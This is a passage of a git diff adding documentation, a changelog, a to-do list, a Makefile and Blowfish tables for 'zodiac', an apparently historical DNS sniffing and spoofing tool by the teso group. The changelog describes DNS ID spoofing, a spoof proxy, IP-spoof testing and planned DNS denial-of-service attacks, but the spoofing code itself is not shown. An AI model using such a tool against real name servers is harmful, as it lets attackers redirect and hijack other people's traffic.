you're welcome. + here are some little steps how to start exploring the sources: + + first compile zodiac, and run it as superuser. then try some dns stuff + on another console while having zodiac running (dig, nslookup). watch how + nicely it decodes (screen) and dumps (file "packets-rawdns") all the dns + packets on the local network. + + next you may try to explore the sources either from bottom up (packet.c, + dns.c, dns-build.c and dns-spoof.c in this order), or top down, + which is the same order reversed. + if you find the sources interesting, start coding :) (if you aren't into + dns and tcp/ip and such, recode the ugly gui to some fance oldskewl ansi + bbs style menue ;-). + + thanks for your interest into zodiac. + + + 4. contact information + + scut + irc, efnet, nick: sacbuctd + email: scut@nb.in-berlin.de + web: http://teso.scene.at/ (teso is a new and skilled security group, just + visit our page :-) + + smiler + email: smiler@tasam.com + + diff --git a/dns-projects/zodiac/doc/ChangeLog b/dns-projects/zodiac/doc/ChangeLog new file mode 100644 index 0000000..641bf5a --- /dev/null +++ b/dns-projects/zodiac/doc/ChangeLog @@ -0,0 +1,284 @@ + +0.4.9 (20000518) - noah williamsson , scut + - added usage and mini help (zodiac -h) + - compatible with FreeBSD now, other BSD's should work aswell + +0.4.8 (20000518) - noah williamsson + - changed Makefile to enable Open- and FreeBSD systems to compile + zodiac with the pthread libary (-pthread) + - fixed make clean in Makefile + - fixed missing include file in dns-spoof-int.c + - fixed include order in network.c + - removed netinet/ip.h include file from io-udp.c, it is unneeded + and causes errors when compiling under FreeBSD + - removed const qualifiers from m_print* functions + - include fix in packet.c + - include fix in sniff.c + +0.4.7 (20000428) - scut + - fixed missing header definition in packet.h (pq_destroy) + - fixed small c stylistic errors + +0.4.6 (19991220) - scut + - added command line option "-q" for quite mode (won't print out + packets in long form, use two times to avoid printing packets + at all) + +0.4.5 (19991130) - scut, smiler + - added relay option to spoof proxy (whoever will need it ?), with + reencryption support *woaw* :) + - fixed some minor things in the spoof proxy + - fixed dns-build.c, was not synced + +0.4.4 (19991129) - scut + - fixed broken daemon mode in spoof proxy + - added help option to spoof proxy + - fixed some minor things in error handling stuff in spoof proxy + +0.4.3 (19991129) - smiler, scut + - added ptr and a+ptr id spoofing + - added id spoofing for windows nameservers + - changed dns_build_ptr a bit + - fixed menu_idspoof + - improved id spoofing (spoof_dnsid) + - removed gui-config.*, they are not needed anymore because of + the different spoofing interface + - tested dns id spoofing, works el8ly gr8 :-] + +0.4.2 (19991129) - scut + - fixed minor descriptive bug in usage of zsp + +0.4.1 (19991128) - scut + - added "set" command to set spoof proxy and show mode + +0.4.0 (19991127) - scut + - added encryption support + - added spoof proxy option + - fixed minor bugs in udp routines (length handling on encrypted + frames were sometimes invalid, causing some extra bytes being + sent) + - fixed a severe bug in the dns id queue routines, where own + datagrams were added as legal id's + - improved makefiles a bit + +0.3.12 (19991107) - smiler, scut + - several small additions to the spoofing interface + - begun a spoof proxy to split the spoofing from the sniffing =) + it is in the src/zsp/ directory :) + - hey, we broke the 7000 lines barrier, currently at 7373 lines =) + +0.3.11 (19991104) - smiler + - beefed up the OO spoofing interface a lot, although the code is + still inactive it will provide a comfortable spoofing interface + +0.3.10 (19991104) - scut + - fixed a minor bug in dns-tag.c, where we squashed some references + +0.3.9 (19991103) - scut + - hey welcome random to team teso :-D + - added "did i send that packet that i just see"-checking to avoid + confusing filter rules we keep a list of packets we send ourself + for 5 seconds and shield incoming packets that match them from + the dns queue comparing routines (dq_match called from dns.c) + - the "test spoof" function works very properly now (thanks to the + checking routines above + - fixed some minor bugs + +0.3.8 (19991101) - smiler, scut + - added "test spoof" function (see "help"), that will test whether + you can ip spoof from your current ip :-) (nice, ehh ? ;) + - improved id spoofing even further + - fixed some minor bugs in dnsq.c + +0.3.7 (19991101) - scut + - linted the sources a bit and got rid of some unneccesary include + files :-) + - tweaked the random hostname generation routine a bit (hostnames + of 50 characters aren't so common, ehh ? ;) + - easified the id_* interface + +0.3.6 (19991029) - smiler + - worked out dns id spoofing, working for type a entries, yeah :-) + - we're at > 6000 lines now, btw =) + +0.3.5 (19991028) - scut + - made zodiac libnet 1.0 compliant (pff... how many times will this + interface change ? think once, think well) + +0.3.4 (19991028) - smiler + - some small bugs squashed, oh yeah =) + +0.3.3 (19991028) - smiler, scut + - added a better generic query interface + - added a "ns version " command line ehm... command :-D + +0.3.2 (19991026) - smiler + - added a generic dns query handler to ease high-level dns coding + - improved packet parsing routines + +0.3.1 (19991025) - smiler, scut + - fixed an ugly bug in dnsq.c, which was pure c'ish bug (yea, face it + guys, c sux ;-) + - fixed minor things within dns-tools.c + +0.3.0 (19991014) - smiler, scut + - fixed some broken things in dns.c, the dns routines can be considered + quite good now :] + +0.2.31 (19991008) - smiler, scut + - changed the way the local ip is detected from the device, being more + portable now + - minor fixes + +0.2.30 (19990927) - smiler + - fixed dns spoofing routines that got broken in 0.2.29, works perfectly + now :) + +0.2.29 (19990926) - smiler + - fixed threading bugs (broken cancelation) + - improved dns query and spoofing routines to work with proxy dns servers + too + +0.2.28 (19990924) - smiler + - fixed randomization order + +0.2.27 (19990923) - smiler + - fixed spoof_query function + - fixed reentrancy + +0.2.26 (19990920) - smiler + - added IP ID randomization within the dns-build routines + +0.2.25 (19990919) - smiler + - added support for various link layer types (ppp, eth, ...) + +0.2.24 (19990914) - smiler + - fixed another byte order bug in dns-tools.c + +0.2.23 (19990914) - smiler + - the switch from own definitions to nameser.h ones caused further + problems at byte order conversions within the dns build routines, + jielding them unuseable, fixed. + +0.2.22 (19990914) - scut + - general tidy-up + +0.2.21 (19990913) - scut, smiler + - fixed wrong network/host-byte-order in dns_packet_send + (found by smiler) + - fixed correct ip/udp/dns segmentation, using ip header length + instead of fixed ip minimum header length + - added correct error handling on non superuser privileges + +0.2.20 (19990913) - scut, smiler + - use of PUTSHORT and GETSHORT now within the dns packet processing, + to preserve endianess and be more compatible in general + (suggested by smiler) + - used arpa/nameser.h instead of own dns definitions + (suggested by smiler) + - switched from own header definitions to the one libnet supplies + (suggested by smiler) + - replaced dns_build_domain with an optimized version from smiler + - cleaned up packet.c to reuse it's own code + - beefed up sources at whole, shorting some unnecessary parts + - minor changes within the Makefile, to be more portable + +0.2.19 (19990912) - scut + - fixed minor bugs within dnsq.c + +0.2.18 (19990907) + - fixed segfaulting bug in sniffing routines, where an error value + wasn't checked appropiatly (possible failure of pcap_open) + +0.2.17 (19990907) + - added type txt encoding in dns-build.c + - fixed missing mutex unlocking within dq_filter_uninstall, which + caused only the first filter set working + +0.2.16 (19990805) + - added passive threading for spoofing functions + - finished jizz and local spoof + - added rudimentary id spoof function + - added console, with prompt and multilevel input + +0.2.15 (19990731) + - fixed windows id detection for only one-packet situations, where + zodiac didn't detected windows id's + +0.2.14 (19990727) + - added dt_bind_version routine (not yet finished) + - added dns-tools.c subset + - cleaned dns_packet_send a bit + +0.2.13 (19990718) + - extended dns_jizz spoof with the logs from foxfire + - fixed minor bugs in dns-build.c + +0.2.12 (19990718) + - added dns_build_random, m_random + - extended dns_build_* for more comfortability + - analyzed jizz logs from foxfire + - started rewrote of spoof_jizz, to be tested + - simplified configset structure + +0.2.11 (19990714) + - rewrote local dns spoof function from scratch + - fixed serious bug in dns_build_q + +0.2.10 (19990714) + - modified dns_build_* to accept always char hostname/ip addresses, + that will be converted according to type values (new: dns_build_ptr) + - modified dns_build_* functions to accept plaintext char parameters + for all kind of dns labels/rdata/*, to make it more comfortable to + create packets + - code cleanup within dns*.c + - minor updates in packet.c + - minor bugfixes, especially in dns*.c + +0.2.9 + - modified packet dump to dump the whole ip packet + - cleaned up, improved and testing the local spoof routines + - tested virtual dns queue routines, working perfectly :) + - proofread great parts of the code, to ensure quality + +0.2.8 + - improved/rewritten dns packet construction routines + - researched on dns flags acceptance + - ran first successful local dns spoof, error response problem though + +0.2.7 + - first local dns spoof testing + - wrote many company routines for dns packet creation + - successfully tested dns packet filter + - started with local spoof routine + +0.2.6 + - fixed small bugs within all dns*.c files + - added network primitives (network.c) + - extended packet filter routines, added select like waiting methods + - fixed minor bugs in dns queue + - hopefully fixed this weird timeval bug in dnsid.c, _GNU_SOURCE doesn't + seem to be reliable (most likely it is fixed, but it was difficult to + reproduce, though) + - improved sequential prediction + +0.2.5beta + - added windows dns resolver library detection + - fixed some minor bugs, code cleanups within dns*.c + +0.2.5alpha + - fixed a id queue bug in dnsid.c + - started with a comfortable dns packet filter (dnsq.h) + +0.2.4 + - implemented rdata decoding + - fixed all bugs detected + +0.2.3 + - added decompression, recursive, rewrote large parts of the dns + routines + +0.2.2 + - added/fixed real dns packet decoder + - fixed dozends of segfaults + diff --git a/dns-projects/zodiac/doc/INSTALL b/dns-projects/zodiac/doc/INSTALL new file mode 100644 index 0000000..9717f6b --- /dev/null +++ b/dns-projects/zodiac/doc/INSTALL @@ -0,0 +1,124 @@ + + + INSTALLATION INSTRUCTIONS + + for + + zodiac - advanced dns spoofer + (not finished yet !) + + + 0. INTRODUCTION + + this document describes how to install zodiac on unix based systems. + zodiac is a low level analyzation and spoof tool for the dns protocol. + + zodiac has been compiled successfully on following systems: + + linux 2.0.x with libc5, gcc and the linuxthread thread library + linux 2.2.x with glibc, egcs + linux 2.3.x with glibc, egcs + freebsd 4.0-stable + ... + + if you managed to compile zodiac without any modifications on another + system, please tell us. for our email address refer to the readme file. + + + 1. COMPILATION - REQUIREMENTS + + zodiac is provided at source code level, under a certain license. you have + to compile it before you can use it. to compile it successfully you need + to have following libraries installed. + + libncurses >= 4.0 http://www.freshmeat.net/ + libnet >= 0.99 http://www.packetfactory.net/libnet/ + libpcap >= 0.4 ftp://ftp.ee.lbl.gov/ + thread library = POSIX http://www.freshmeat.net/ + (libpthread) + + the thread library has to conform to the POSIX IPC standard. you won't + have any difficulties if you use a libc6 system, for libc5 linux systems + i recommend the linuxthreads library. if you use more exotic systems, + like bsd or irix or aix, there is still a way to compile zodiac by using + a usermode thread library such as the excellent GNU Pth (portable threads) + library, which is available from freshmeat also. + + the pcap library is a platform independant packet capturing library, that + is used by many network programs. don't miss to install the man pages and + the header files also (make install won't do, read the Makefile of + the libpcap package) + + libnet is a low level, platform independant packet construction library + that is used by many programs to comfortably create raw packets. read the + included README file in the libnet package for further instructions how + to install this library. thanks to route for this piece, but the asn1 + stuff in it is useless ;) + + libncurses is a very portable terminal library that is used within zodiac + to provide a text based graphical user interface. the ability of ncurses + to provide virtual terminal windows is used to split the screen into sub- + windows. libncurses should compile well on any platform, but in most cases + you don't have to install it, it ships with almost any unix operating + system. + + you also need a working c library, networking support and a ansi-c conform + c compiler (gcc/egcs recommended). + + + 2. COMPILATION - LET'S GO + + first, a point on portability. zodiac was developed on linux only systems. + we (scut, especially smiler) tried up to be as portable as possible, but + this haven't been tested on any big endian or bsd system yet, so we + encourage any user support. + +/* FOR THE FINAL VERSION ONLY + since zodiac takes advantage of the GNU autoconf/automake packages, you + normaly just have to start the configure script: + + ./configure + + if it fails, please resolv the problem and run it again. after having + created a Makefile from the Makefile.in, run the make program: + */ + + make + + if it fails to compile successfully on your system try to resolve the + problem and tell me why it failed and how you solved it. + don't come crying that it doesn't compile, just come smiling with a patch + or a description ;) + +/* NOT YET FINISHED + + after compilation there will be a "zodiac" binary in the current di- + rectory. if you are the system administrator of the unix system and you + want to have the program installed system wide you may also want to run: + + make install + + if it's your local hack-shellbox you may want to set the binary suid by + doing an + + make sinstall +*/ + + 3. USAGE + + you are not required to have superuser privileges to compile zodiac, but + you are required superuser privileges to use it. if you don't know what + this means, please get informed about the whole topic, and then carefully + ask your system administrator to get kicked out of your cs course =). + + + 4. CONTACT + + for powerusers, who did a porting patchfile to let zodiac run on a plat- + form it didn't run before, here is our contact address to send the file + to: + + scut@nb.in-berlin.de, subject: "zodiac: () patch - . + + the vulnerabilities the program exploits have been discovered by other + persons, the adm crew deserves credit for the dns id spoofing technique. + + the dozends of mindful people from the bugtraq mailing list that messed + with dns also deserve credits :) + + + 7. greetings + + (from scut) + + in alphabetical order :-D + + acpizer, avoozl, axhate, blackb, blow, bigblue, crestor, davy, domnar, + edi, focht, foxfire, fungus, garry, hendy, hoopy, js, kafka, lorian, + mindtrip, moc, overhead, oxigen, packwahn, plasmoid, random, route, + smiler, spy, tb303, tis, toniq, typo, vax, waterloo, wildandi, wilkins, + yks, yodler, zap. + + special greetings to + + smiler, :-) + the adm crew, for finding the id vulnerability, but lack a good coding + style ;-) + foxfire, for giving me some nice packet dumps to play with + oxigen, for giving me some hints about dns spoofing + rfc1035, for giving me any information about any dns packet + ken williams, for just being so cool B-) + + + 8. legal stuff / disclaimer + + know what you do before you do it, be able to face it's consequences. + + diff --git a/dns-projects/zodiac/doc/ToDo b/dns-projects/zodiac/doc/ToDo new file mode 100644 index 0000000..2219144 --- /dev/null +++ b/dns-projects/zodiac/doc/ToDo @@ -0,0 +1,17 @@ +short time: + - implement all TY_* for dns_build_rr + - jizz dns spoof + +global goals: + - first release + - gui cleanup, docs + - dns denial of service attacks + - tool functions: finding nameserver, getting info about it (HWARE) + - implement SOA rdata decoding + rest of rdata-types + - implement dns packet compression within dns_packet_send () + - verbosity levels + +done: + - gui + + diff --git a/dns-projects/zodiac/src/Makefile b/dns-projects/zodiac/src/Makefile new file mode 100644 index 0000000..d795891 --- /dev/null +++ b/dns-projects/zodiac/src/Makefile @@ -0,0 +1,17 @@ +CFLAGS=-Wall -g -ggdb -DDEBUG `libnet-config --defines` -D_REENTRANT -pthread +LIBS= -lncurses -lpcap -lnet +CC=gcc +OBJS = common.o cipher-blowfish.o cipher-sha1.o dns.o dns-build.o \ + dns-spoof-int.o dns-spoof.o dns-tag.o dns-tools.o dnsid.o dnsq.o \ + gui.o io-udp.o network.o sniff.o output.o packet.o +PREFIX=/usr/local + +all: zodiac + +clean: + rm -f *.o ../zodiac + +zodiac: zodiac.c $(OBJS) + $(CC) $(CFLAGS) -o zodiac -static zodiac.c $(OBJS) $(LIBS) + mv zodiac ../ + diff --git a/dns-projects/zodiac/src/cipher-blowfish-tab.h b/dns-projects/zodiac/src/cipher-blowfish-tab.h new file mode 100644 index 0000000..a204977 --- /dev/null +++ b/dns-projects/zodiac/src/cipher-blowfish-tab.h @@ -0,0 +1,282 @@ +/* bf_tab.h: Blowfish P-box and S-box tables */ + +#ifndef _H_TAB_BF +#define _H_TAB_BF + +static UWORD_32bits initbf_P[bf_N + 2] = { + 0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344, + 0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89, + 0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c, + 0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917, + 0x9216d5d9, 0x8979fb1b, +}; + +static UWORD_32bits initbf_S[4][256] = { + { + 0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7, + 0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99, + 0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16, + 0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e, + 0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee, + 0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013, + 0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef, + 0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e, + 0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60, + 0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440, + 0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce, + 0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a, + 0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e, + 0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677, + 0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193, + 0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032, + 0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88, + 0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239, + 0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e, + 0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0, + 0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3, + 0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98, + 0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88, + 0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe, + 0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6, + 0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d, + 0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b, + 0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7, + 0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba, + 0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463, + 0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f, + 0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09, + 0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3, + 0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb, + 0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279, + 0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8, + 0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab, + 0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82, + 0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db, + 0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573, + 0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0, + 0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b, + 0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790, + 0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8, + 0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4, + 0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0, + 0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7, + 0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c, + 0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad, + 0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1, + 0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299, + 0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9, + 0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477, + 0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf, + 0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49, + 0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af, + 0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa, + 0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5, + 0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41, + 0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915, + 0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400, + 0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915, + 0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664, + 0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a + }, + { + 0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623, + 0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266, + 0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1, + 0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e, + 0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6, + 0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1, + 0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e, + 0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1, + 0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737, + 0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8, + 0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff, + 0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd, + 0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701, + 0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7, + 0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41, + 0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331, + 0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf, + 0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af, + 0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e, + 0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87, + 0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c, + 0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2, + 0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16, + 0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd, + 0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b, + 0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509, + 0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e, + 0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3, + 0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f, + 0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a, + 0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4, + 0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960, + 0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66, + 0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28, + 0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802, + 0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84, + 0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510, + 0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf, + 0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14, + 0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e, + 0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50, + 0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7, + 0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8, + 0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281, + 0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99, + 0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696, + 0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128, + 0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73, + 0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0, + 0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0, + 0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105, + 0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250, + 0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3, + 0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285, + 0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00, + 0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061, + 0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb, + 0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e, + 0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735, + 0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc, + 0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9, + 0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340, + 0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20, + 0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7 + }, + { + 0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934, + 0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068, + 0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af, + 0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840, + 0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45, + 0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504, + 0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a, + 0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb, + 0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee, + 0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6, + 0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42, + 0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b, + 0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2, + 0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb, + 0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527, + 0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b, + 0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33, + 0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c, + 0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3, + 0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc, + 0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17, + 0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564, + 0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b, + 0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115, + 0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922, + 0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728, + 0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0, + 0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e, + 0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37, + 0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d, + 0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804, + 0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b, + 0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3, + 0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb, + 0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d, + 0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c, + 0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350, + 0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9, + 0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a, + 0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe, + 0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d, + 0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc, + 0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f, + 0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61, + 0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2, + 0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9, + 0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2, + 0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c, + 0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e, + 0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633, + 0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10, + 0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169, + 0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52, + 0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027, + 0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5, + 0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62, + 0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634, + 0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76, + 0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24, + 0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc, + 0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4, + 0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c, + 0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837, + 0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0 + }, + { + 0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b, + 0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe, + 0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b, + 0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4, + 0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8, + 